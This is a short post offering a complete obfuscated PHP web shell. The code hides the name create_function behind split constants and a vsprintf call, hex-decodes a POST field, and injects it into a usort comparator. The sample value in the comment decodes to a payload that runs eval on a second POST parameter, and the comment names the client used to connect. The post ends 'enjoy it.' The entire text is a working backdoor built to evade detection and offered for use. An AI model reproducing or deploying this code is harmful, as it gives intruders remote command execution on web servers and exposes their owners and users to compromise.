usort php shell

<?php//webbrowser//sort_by=225d293b7d6576616c28245f504f53545b315d293b2f2a    //&1=//chopper//<O>sort_by=225d293b7d6576616c28245f504f53545b315d293b2f2a</O>define('SAFE','create');define('DOG','fun');define('GOOGLE','ction');function Hex2String($hex){    $string='';    for ($i=0; $i < strlen($hex)-1; $i+=2){        $string .= chr(hexdec($hex[$i].$hex[$i+1]));    }    return $string;}$safedog = vsprintf('%s_%s%s',array(SAFE,DOG,GOOGLE));$sort_by=Hex2String($_POST['sort_by']);$sorter='strnatcasecmp';$databases=array('test','test');$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';usort($databases, $safedog('$a, $b', $sort_function));?>enjoy it.